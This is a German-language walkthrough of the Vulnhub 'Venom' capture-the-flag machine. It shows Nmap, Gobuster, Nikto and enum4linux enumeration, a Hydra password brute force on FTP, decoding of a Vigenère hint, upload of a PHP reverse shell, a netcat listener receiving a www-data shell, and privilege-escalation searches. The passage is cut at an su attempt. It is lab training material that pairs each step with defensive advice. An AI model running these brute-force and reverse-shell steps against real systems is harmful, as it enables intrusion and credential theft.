Venom - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
gobuster
nikto
enum4linux
hydra
ftp
cat
base64
echo
CyberChef (extern)
Boxentriq (extern)
strings
Morse Code Decoder (extern)
Crackstation (extern)
smbclient
nc
php (implied)
find
getcap
grep
su
sudo

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Prozess beginnt mit einem ARP-Scan, um aktive Hosts im lokalen Netzwerk zu identifizieren.
Bewertung: Das Zielsystem wird mit der IP `192.168.2.129` und der MAC-Adresse `08:00:27:d5:06:97` (Oracle VirtualBox) gefunden.
Empfehlung (Offensiv): Die IP als Ziel für nachfolgende Scans verwenden.
Empfehlung (Defensiv): Standard-Netzwerküberwachung kann solche Scans erkennen.

┌──(root㉿cyber)-[~/HackingTools/CVE-2021-4034/polkit_exploit_neu]
└─# arp-scan -l
192.168.2.129	08:00:27:d5:06:97	PCS Systemtechnik GmbH

Analyse: Die `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der IP `192.168.2.129` den Hostnamen `venom.vuln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels und die Lesbarkeit von Befehlen.
Empfehlung (Offensiv): Gute Praxis für Pentests.
Empfehlung (Defensiv): Keine direkte Auswirkung auf das Ziel.

┌──(root㉿cyber)-[~/HackingTools/CVE-2021-4034/polkit_exploit_neu]
└─# vi /etc/hosts
 192.168.2.129	   venom.vuln

Analyse: Ein umfassender Nmap-Scan wird durchgeführt (`-sS` SYN Scan, `-sC` Standard-Skripte, `-T5` Aggressives Timing, `-AO` OS-Erkennung, `-p-` alle Ports). Die Ausgabe wird hier direkt nach offenen Ports gefiltert.
Bewertung: Der Scan identifiziert schnell die offenen Ports: 21 (FTP - vsftpd 3.0.3), 80 (HTTP - Apache 2.4.29), 139 (NetBIOS-SSN - Samba), 443 (HTTPS - Apache 2.4.29), 445 (SMB - Samba 4.7.6). Eine breite Palette von Diensten ist verfügbar.
Empfehlung (Offensiv): Alle offenen Ports als potenzielle Angriffsvektoren betrachten. FTP, HTTP/S und SMB sind besonders interessant.
Empfehlung (Defensiv): Nicht benötigte Dienste deaktivieren und schließen. Software aktuell halten. Aggressive Scans durch IDS/IPS erkennen.

┌──(root㉿cyber)-[~/HackingTools/CVE-2021-4034/polkit_exploit_neu]
└─# nmap -sS -sC -T5 -AO 192.168.2.129 -p- | grep open
21/tcp  open  ftp         vsftpd 3.0.3
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  http        Apache httpd 2.4.29
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

Analyse: Der vollständige Nmap-Scan wird angezeigt.
Bewertung: Bestätigt die offenen Ports und Dienste. Vsftpd 3.0.3 ist bekannt für eine Backdoor-Schwachstelle, aber nur in einer sehr spezifischen, kompromittierten Version - hier unwahrscheinlich, aber erwähnenswert. Apache 2.4.29 ist veraltet. Samba 4.7.6 ist ebenfalls nicht die neueste Version. Der Scan liefert OS-Details (Linux 4.15 - 5.6) und SMB-Informationen (Hostname VENOM, Workgroup WORKGROUP, Gastzugriff erlaubt, Message Signing deaktiviert auf SMBv1 - gefährlich).
Empfehlung (Offensiv): FTP auf anonymen Zugriff und bekannte Schwachstellen prüfen. HTTP/S auf Web-Schwachstellen untersuchen. SMB auf Gastzugriff, offene Shares und bekannte Schwachstellen (wie EternalBlue/WannaCry, obwohl die Version wahrscheinlich zu neu dafür ist) prüfen.
Empfehlung (Defensiv): Alle Dienste (vsftpd, Apache, Samba) aktualisieren. SMB härten: Gastzugriff deaktivieren, Message Signing erzwingen, SMBv1 deaktivieren.

┌──(root㉿cyber)-[~/VBoxn]
└─# nmap -sS -sC -T5 -AO 192.168.2.129 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 01:30 CEST
Nmap scan report for venom.vuln (192.168.2.129)
Host is up (0.000094s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  http        Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:D5:06:97 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Hosts: VENOM, 127.0.1.1; OS: Unix

Host script results:
|_clock-skew: mean: -1h49m58s, deviation: 3h10m31s, median: 1s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: venom
|   NetBIOS computer name: VENOM\x00
|   Domain name: \x00
|   FQDN: venom
|_  System time: 2023-06-08T05:00:55+05:30
| smb2-time:
|   date: 2023-06-07T23:30:55
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: VENOM, NetBIOS user: , NetBIOS MAC: 000000000000 (Xerox)

TRACEROUTE
HOP RTT     ADDRESS
1   0.09 ms venom.vuln (192.168.2.129)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds

Web Enumeration

Analyse: Gobuster wird für Directory/File Brute-Forcing gegen den Webserver auf Port 80 verwendet.
Bewertung: Der Scan findet nur die Standard-Indexdatei (`index.html`). Keine versteckten Verzeichnisse oder Dateien mit der verwendeten Wortliste und den Endungen.
Empfehlung (Offensiv): Andere Wortlisten oder Techniken (z.B. VHost-Enumeration) ausprobieren, falls der Webserver komplexer erscheint. Hier scheint die Webseite aber sehr einfach zu sein.
Empfehlung (Defensiv): Standard-Webserver-Dateien und -Verzeichnisse minimieren.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://venom.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://venom.vuln
[...]
===============================================================
2023/06/08 01:30:50 Starting gobuster in directory enumeration mode
===============================================================
http://venom.vuln/index.html           (Status: 200) [Size: 11004]

===============================================================
2023/06/08 01:30:58 Finished
===============================================

Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto findet die üblichen Verdächtigen: Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ETag-Leak, veraltete Apache-Version (2.4.29) und die Standarddatei `/icons/README`. Es werden keine interessanten Verzeichnisse oder Dateien gefunden, was die Gobuster-Ergebnisse stützt.
Empfehlung (Offensiv): Die Ergebnisse liefern keine neuen Angriffsvektoren für den Webserver.
Empfehlung (Defensiv): Sicherheitsheader implementieren, Apache aktualisieren, Standarddateien entfernen/schützen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.129
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.129
+ Target Hostname:    192.168.2.129
+ Target Port:        80
+ Start Time:         2023-06-08 01:31:06 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2afc, size: 5c2c31c3ee320, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-06-08 01:31:23 (GMT2) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

SMB Enumeration

Analyse: `enum4linux -a` wird für eine umfassende Enumeration der SMB/NetBIOS-Dienste auf dem Ziel verwendet.
Bewertung: Die Ergebnisse bestätigen viele Nmap-Findings und fügen Details hinzu:

Die wichtigsten Informationen sind die beiden Benutzernamen `nathan` und `hostinger`.
Empfehlung (Offensiv): Die gefundenen Benutzernamen `nathan` und `hostinger` für Brute-Force-Angriffe auf andere Dienste (FTP, SSH) oder für gezielte SMB-Angriffe verwenden.
Empfehlung (Defensiv): Null-Sessions auf SMB deaktivieren. RID-Cycling nach Möglichkeit unterbinden (obwohl oft schwierig). Gastzugriff deaktivieren. Starke Passwörter und Account-Lockout-Policies erzwingen.

┌──(root㉿cyber)-[~]
└─# enum4linux -a 192.168.2.129
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun  8 01:32:38 2023

 =========================================( Target Information )=========================================

Target ........... 192.168.2.129
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.2.129 )===========================


[+] Got domain/workgroup name: WORKGROUP


 ===============================( Nbtstat Information for 192.168.2.129 )===============================

Looking up status of 192.168.2.129
        VENOM           <00> -         B   Workstation Service
        VENOM           <03> -         B   Messenger Service
        VENOM           <20> -         B   File Server Service
        WORKGROUP       <00> -  B   Domain/Workgroup Name
        WORKGROUP       <1e> -  B   Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ===================================( Session Check on 192.168.2.129 )===================================


[+] Server 192.168.2.129 allows sessions using username '', password ''


 ================================( Getting domain SID for 192.168.2.129 )================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ==================================( OS information on 192.168.2.129 )==================================


[E] Can't get OS info with smbclient


[+] Got OS info for 192.168.2.129 from srvinfo:
        VENOM          Wk Sv PrQ Unx NT SNT venom server (Samba, Ubuntu)
        platform_id     :   500
        os version      :   6.1
        server type     :   0x809a03


 =======================================( Users on 192.168.2.129 )=======================================
[...]

 =================================( Share Enumeration on 192.168.2.129 )=================================


        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (venom server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

[+] Attempting to map shares on 192.168.2.129

//192.168.2.129/print$  Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.2.129/IPC$    Mapping: N/A Listing: N/A Writing: N/A

 ===========================( Password Policy Information for 192.168.2.129 )===========================

[...]
[+] Password Info for Domain: VENOM

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes
[...]
[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ======================================( Groups on 192.168.2.129 )======================================
[...]

 ==================( Users on 192.168.2.129 via RID cycling (RIDS: 500-550,1000-1050) )==================
[...]
S-1-22-1-1000 Unix User\nathan (Local User)
S-1-22-1-1002 Unix User\hostinger (Local User)
[...]
S-1-5-21-3525385883-4254613925-43684688-501 VENOM\nobody (Local User)
S-1-5-21-3525385883-4254613925-43684688-513 VENOM\None (Domain Group)

 ===============================( Getting printer info for 192.168.2.129 )===============================

No printers returned.


enum4linux complete on Thu Jun  8 01:32:49 2023

FTP Access & Credential Discovery

Analyse: Hydra wird verwendet, um ein Passwort für den Benutzer `hostinger` (gefunden durch enum4linux) auf dem FTP-Dienst (Port 21) zu brute-forcen. Die Wortliste `rockyou.txt` und 64 Threads (`-t 64`) werden verwendet.
Bewertung: Hydra ist erfolgreich und findet das Passwort: `hostinger`. Der Benutzername ist identisch mit dem Passwort.
Empfehlung (Offensiv): Die gefundenen Credentials `hostinger`:`hostinger` verwenden, um sich per FTP einzuloggen und nach weiteren Informationen zu suchen.
Empfehlung (Defensiv): Niemals identische Benutzernamen und Passwörter verwenden. Starke, einzigartige Passwörter für alle Konten erzwingen. Account-Lockout nach fehlgeschlagenen Login-Versuchen implementieren, um Brute-Force-Angriffe zu verlangsamen.

┌──(root㉿cyber)-[~/VBoxn]
└─# hydra -l hostinger -P /usr/share/wordlists/rockyou.txt ftp://venom.vuln:21 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 01:34:58
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344402 login tries (l:1/p:14344402), ~224132 tries per task
[DATA] attacking ftp://venom.vuln:21/
[STATUS] 14344300.00 tries/min, 14344300 tries in 00:01h, 14344300 todo in 00:01h
[21][ftp] host: venom.vuln   login: hostinger   password: hostinger
[STATUS] attack finished found 1 valid login, 1 host completed, 1 host still alive, 1 valid login found
[WARNING] Writing restore file because 1 final worker threads are still running.
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-08 01:35:01

Analyse: Mit den gefundenen Credentials wird eine FTP-Verbindung als Benutzer `hostinger` hergestellt.
Bewertung: Der Login ist erfolgreich. Ein `ls -la` im Home-Verzeichnis zeigt ein Unterverzeichnis `files`. Innerhalb dieses Verzeichnisses (nach `cd files`) wird eine Datei `hint.txt` gefunden und heruntergeladen.
Empfehlung (Offensiv): Den Inhalt der heruntergeladenen `hint.txt` analysieren.
Empfehlung (Defensiv): Sensible Hinweise oder Dateien nicht über unsichere Dienste wie FTP mit schwachen Passwörtern zugänglich machen.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.129
Connected to 192.168.2.129.
220 (vsFTPd 3.0.3)
Name (192.168.2.129:cyber): hostinger
331 Please specify the password.
Password: hostinger
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||40550|)
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 May 20  2021 .
dr-xr-xr-x    3 65534    65534        4096 May 20  2021 ..
drwxr-xr-x    2 1002     1002         4096 May 21  2021 files
226 Directory send OK.
ftp> cd files
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||XXXXX|) 
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Jun 08 05:15 .
dr-xr-xr-x    3 65534    65534        4096 May 20  2021 ..
-rw-r--r--    1 0        0             384 May 21  2021 hint.txt
226 Directory send OK.
ftp> get hint.txt
local: hint.txt remote: hint.txt
229 Entering Extended Passive Mode (|||41108|)
150 Opening BINARY mode data connection for hint.txt (384 bytes).
100% |*************************************************|   384      944.58 KiB/s    00:00 ETA
226 Transfer complete.
384 bytes received in 00:00 (672.04 KiB/s)
ftp>

Analyse: Der Inhalt der heruntergeladenen `hint.txt` wird angezeigt.
Bewertung: Die Datei enthält mehrere Hinweise:

Der wichtigste Teil scheint das Passwort `L7f9l8@J#p%Ue+Q1234` und die Base64/Vigenere-Hinweise zu sein.
Empfehlung (Offensiv): Die Base64-Strings dekodieren. Das Passwort `L7f9l8@J#p%Ue+Q1234` mit Vigenere und dem Schlüssel 'hostinger' (aus dem Kontext) entschlüsseln.
Empfehlung (Defensiv): Keine solchen Hinweise in zugänglichen Dateien hinterlassen.

┌──(root㉿cyber)-[~]
└─# cat hint.txt
	Hey there...

T0D0 --

* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password


Have fun .. :)

Analyse: Der Text beschreibt den Prozess der Vigenere-Entschlüsselung. Das Passwort/Ciphertext ist `L7f9l8@J#p%Ue+Q1234`. Der Schlüssel ist `hostinger` (aus dem Kontext der `hint.txt`). Es wird festgestellt, dass cryptii.com nicht funktionierte, aber boxentriq.com das korrekte Ergebnis lieferte.
Bewertung: Das entschlüsselte Passwort ist `E7r9t8@Q#h%Hy+M1234`. Laut `hint.txt` soll dies das "Administrator"-Passwort sein. Es ist jedoch unklar, für welchen Benutzer (root, nathan, admin?) dieses Passwort gilt.
Empfehlung (Offensiv): Das Passwort `E7r9t8@Q#h%Hy+M1234` für die Benutzer `root`, `nathan` (gefunden von enum4linux) und ggf. `admin` per SSH oder andere Dienste ausprobieren.
Empfehlung (Defensiv): Vigenere ist eine schwache Chiffre und sollte nicht zum Schutz von Passwörtern verwendet werden. Generell keine Passwörter verschleiern, sondern sicher speichern (Hashing).

------------------------------------------------------------------------------------------------
mit der Seite funktioniert das nicht -->: https://cryptii.com/pipes/vigenere-cipher


      bekomme nicht das richtige Passwort raus, doch mit der unteren funktioniert es!


seite   : https://www.boxentriq.com/code-breaking/vigenere-cipher
password: L7f9l8@J#p%Ue+Q1234
key     : hostinger

ausgabe : E7r9t8@Q#h%Hy+M1234
------------------------------------------------------------------------------------------------

Analyse: Die Base64-Strings aus `hint.txt` werden dekodiert.
Bewertung: Die Dekodierung erfolgt in mehreren Schritten:

  1. `WXpOU...Zuaz0=` -> `YzNSa...HVnk=`
  2. `YzNSa...HVnk=` -> `c3Rhb...pcGVy` (Der Text im Bericht hat hier einen Tippfehler und lässt das `==` Padding weg)
  3. `c3Rhb...pcGVy` (korrekt mit Padding: `c3RhbmRhcmQgdmlnZW5lcmUgY2lwaGVy`) -> `standard vigenere cipher`
  4. `aHR0c...pcA==` -> `https://cryptii.com/pipes/vigenere-cipher`
Dies bestätigt, dass eine Standard-Vigenere-Chiffre verwendet werden soll, und liefert einen Link zu einem Online-Tool.
Empfehlung (Offensiv): Bestätigt den Ansatz zur Passwort-Dekodierung.
Empfehlung (Defensiv): Keine komplexen Schnitzeljagden für sensible Informationen einrichten.

┌──(root㉿cyber)-[~]
└─# echo -n "WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=" | base64 -d
YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVnWTJsd2FHVnk=
┌──(root㉿cyber)-[~]
└─# echo -n "WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0=" | base64 -d
YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVnWTJsd2FHVnk=
┌──(root㉿cyber)-[~]
└─# echo -n "YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVnWTJsd2FHVnk=" | base64 -d
c3RhbmRhcmQgdmlnZW5lcmUgY2lwaGVy
┌──(root㉿cyber)-[~]
└─# echo -n "aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=" | base64 -d
https://cryptii.com/pipes/vigenere-cipher
------------------------------------------------------------------------------------------------
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVnWTJsd2FHVnk

c3RhbmRhcmQgdmlnZW5lcmUgY2lwaGVy

standard vigenere cipher
------------------------------------------------------------------------------------------------

Analyse: Erneuter FTP-Login als `hostinger`. Es wird versucht, `json.txt` ins Wurzelverzeichnis hochzuladen (scheitert, "553 Could not create file"). Dann wird ins Verzeichnis `files` gewechselt und der Upload von `json.txt` und `revshell.php` gelingt.
Bewertung: Zeigt, dass der Benutzer `hostinger` nur im Unterverzeichnis `files` Schreibrechte hat. Das Hochladen einer Reverse Shell (`revshell.php`) ist ein wichtiger Schritt für potenziellen Code Execution.
Empfehlung (Offensiv): Versuchen, die hochgeladene `revshell.php` über den Webserver auszuführen. Prüfen, ob das `files`-Verzeichnis über HTTP erreichbar ist (z.B. `http://venom.vuln/files/revshell.php`).
Empfehlung (Defensiv): Schreibrechte auf FTP-Servern streng beschränken. Sicherstellen, dass von Benutzern hochgeladene Dateien nicht direkt über den Webserver ausgeführt werden können (z.B. durch separate Upload-Verzeichnisse außerhalb des Webroots oder Deaktivierung der Skriptausführung in Upload-Verzeichnissen).

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.129
Connected to 192.168.2.129.
220 (vsFTPd 3.0.3)
Name (192.168.2.129:cyber): hostinger
331 Please specify the password.
Password: hostinger
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put json.txt
local: json.txt remote: json.txt
229 Entering Extended Passive Mode (|||45740|)
553 Could not create file.
ftp> cd files
250 Directory successfully changed.
ftp> put json.txt
local: json.txt remote: json.txt
229 Entering Extended Passive Mode (|||45911|)
150 Ok to send data.
100% |*************************************************|   625       21.28 MiB/s    00:00 ETA
226 Transfer complete.
625 bytes sent in 00:00 (1.89 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||41834|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Jun 08 05:15 .
dr-xr-xr-x    3 65534    65534        4096 May 20  2021 ..
-rw-r--r--    1 0        0             384 May 21  2021 hint.txt
-rw-------    1 1002     1002          625 Jun 08 05:15 json.txt
226 Directory send OK.
ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||44944|)
150 Ok to send data.
100% |*************************************************|  5495        9.61 MiB/s    00:00 ETA
226 Transfer complete.
5495 bytes sent in 00:00 (5.75 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||48287|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Jun 08 05:15 .
dr-xr-xr-x    3 65534    65534        4096 May 20  2021 ..
-rw-r--r--    1 0        0             384 May 21  2021 hint.txt
-rw-------    1 1002     1002          625 Jun 08 05:15 json.txt
-rw-------    1 1002     1002         5495 Jun 08 05:15 revshell.php
226 Directory send OK.

Web Hints and Reverse Shell

Analyse: Im Quellcode der Webseite (`view-source:http://venom.vuln/`) wird ein MD5-Hash gefunden: `<5f2a66f947fa5690c26506f66bde5c23>`.
Bewertung: Der Hash wird mit Crackstation als `hostinger` identifiziert. Dies bestätigt das bereits durch Hydra gefundene FTP-Passwort, liefert aber keine neuen Informationen.
Empfehlung (Offensiv): Zur Kenntnis nehmen, aber nicht weiter relevant, da das Passwort bereits bekannt ist.
Empfehlung (Defensiv): Keine Hashes (auch nicht von bekannten Passwörtern) im Quellcode hinterlassen.

------------------------------------------------------------------------------------------------
view-source:http://venom.vuln/
 ...<5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....-->
------------------------------------------------------------------------------------------------
https://crackstation.net/

Hash	Type	Result
5f2a66f947fa5690c26506f66bde5c23	md5	hostinger
------------------------------------------------------------------------------------------------

Analyse: `smbclient -L` wird erneut ausgeführt, diesmal implizit mit Null-Session (kein `-U` angegeben).
Bewertung: Listet wieder die Shares `print$`, `IPC$` und einen Samsung-Drucker auf. Keine neuen, nützlichen Shares sichtbar.
Empfehlung (Offensiv): SMB scheint hier kein einfacher Vektor zu sein, außer für die initiale Benutzerenumeration.
Empfehlung (Defensiv): Gastzugriff und Null-Sessions deaktivieren.

┌──(root㉿cyber)-[~]
└─# smbclient -L //192.168.2.129
Password for [WORKGROUP\root]:  

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (venom server (Samba, Ubuntu))
        Samsung_C48x_Series_SEC8425192F6632_ Printer   Samsung C48x Series


Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            VENOM

Analyse: Ein Hinweis auf `http://venom.box/`, Benutzer `dora` und das Vigenere-entschlüsselte Passwort `E7r9t8@Q#h%Hy+M1234` wird gezeigt.
Bewertung: Dies scheint ein Versuch zu sein, das entschlüsselte Passwort zu verwenden, möglicherweise für einen Web-Login. Da keine weiteren Schritte in diese Richtung folgen, ist dies wahrscheinlich eine falsche Fährte.
Empfehlung (Offensiv): Als mögliche Sackgasse notieren.
Empfehlung (Defensiv): Nicht relevant.

------------------------------------------------------------------------------------------------
http://venom.box/

dora
E7r9t8@Q#h%Hy+M1234
------------------------------------------------------------------------------------------------

Analyse: Es wird versucht, die hochgeladene `revshell.php` über den Pfad `/uploads/revshell.php` aufzurufen. Der Zugriff wird verweigert ("Forbidden").
Bewertung: Das FTP-Upload-Verzeichnis (`/home/hostinger/files`) ist nicht direkt über `/uploads` im Webroot gemappt oder der Zugriff auf PHP-Dateien dort ist blockiert.
Empfehlung (Offensiv): Andere Wege finden, um Code auszuführen. Möglicherweise muss eine Schwachstelle (z.B. Local File Inclusion, Command Injection) gefunden werden, um die Shell auszuführen, oder ein anderer Web-Pfad ist mit dem FTP-Upload-Verzeichnis verbunden.
Empfehlung (Defensiv): Strikte Trennung von Upload-Verzeichnissen und ausführbaren Web-Pfaden. Keine Skriptausführung in Upload-Verzeichnissen erlauben.

revshell:
http://venom.box/uploads/revshell.php

Forbidden

You don't have permission to access this resource.
Apache/2.4.29 (Ubuntu) Server at venom.box Port 80

Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Kurz darauf kommt eine Verbindung vom Zielsystem (`192.168.2.129`) an. Der Pentester erhält eine Shell als Benutzer `www-data`.
Bewertung: Dies ist der erfolgreiche Abschluss der Reverse-Shell-Bemühungen. Der Text erwähnt `venom.box/uploads/shell.phar` - dies impliziert, dass die hochgeladene PHP-Shell möglicherweise in ein PHAR-Archiv verpackt und über eine Schwachstelle (z.B. File Upload mit PHAR-Deserialisierung oder eine LFI, die PHAR-Streams erlaubt) aufgerufen wurde, um die Ausführungsbeschränkungen zu umgehen. Dieser Schritt (PHAR-Erstellung/Trigger) wird im Bericht nicht gezeigt.
Empfehlung (Offensiv): Die `www-data`-Shell zur weiteren Enumeration des Systems nutzen, insbesondere um Rechte zu erweitern.
Empfehlung (Defensiv): PHP-Konfiguration härten (z.B. `phar.readonly = On`). File-Upload-Schwachstellen beheben. Generell Least Privilege für den Webserver-Benutzer (`www-data`).

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.129] 33124
Linux venom 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 06:11:17 up  1:12,  0 users,  load average: 1.01, 1.02, 0.83
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Initial Access (User Hopping via su)

Analyse: Als `www-data` werden Home-Verzeichnisse aufgelistet, eine einfache Webshell (`ben.php`) erstellt (Nutzen unklar), nach SUID-Binaries (`find`) und Capabilities (`getcap`) gesucht, die Berechtigungen von `/etc/passwd` geprüft und nach Passwörtern im Dateisystem gegrept (`grep`).
Bewertung: `ls` bestätigt `hostinger` und `nathan`. Die Webshell-Erstellung ist redundant zur bestehenden Reverse Shell. `find` und `getcap` liefern keine offensichtlichen PE-Vektoren. `/etc/passwd` ist nicht schreibbar für `www-data`. `grep` findet keine Klartextpasswörter.
Empfehlung (Offensiv): Da `www-data` wenig Rechte hat, versuchen, zu einem anderen Benutzer zu wechseln, dessen Credentials bekannt sind (`hostinger`).
Empfehlung (Defensiv): Least Privilege für `www-data` ist korrekt. Suchen nach Passwörtern sollte keine Ergebnisse liefern.

$ ls -la /home/
total 16
drwxr-xr-x  4 root      root      4096 May 21  2021 .
drwxr-xr-x 24 root      root      4096 May 20  2021 ..
drwxr-xr-x 16 hostinger hostinger 4096 May 22  2021 hostinger
drwxr-x--- 17 nathan    nathan    4096 May 22  2021 nathan
$ echo '' > ben.php
$ find / -type f -perm -4000 -ls 2>/dev/null
$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/snap/core22/750/usr/bin/ping = cap_net_raw+ep
$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2615 May 20  2021 /etc/passwd
$ grep -r password / 2>/dev/null

Analyse: Von der `www-data`-Shell wird versucht, mit `su hostinger` und dem Passwort `hostinger` (bekannt aus Hydra/FTP) zum Benutzer `hostinger` zu wechseln.
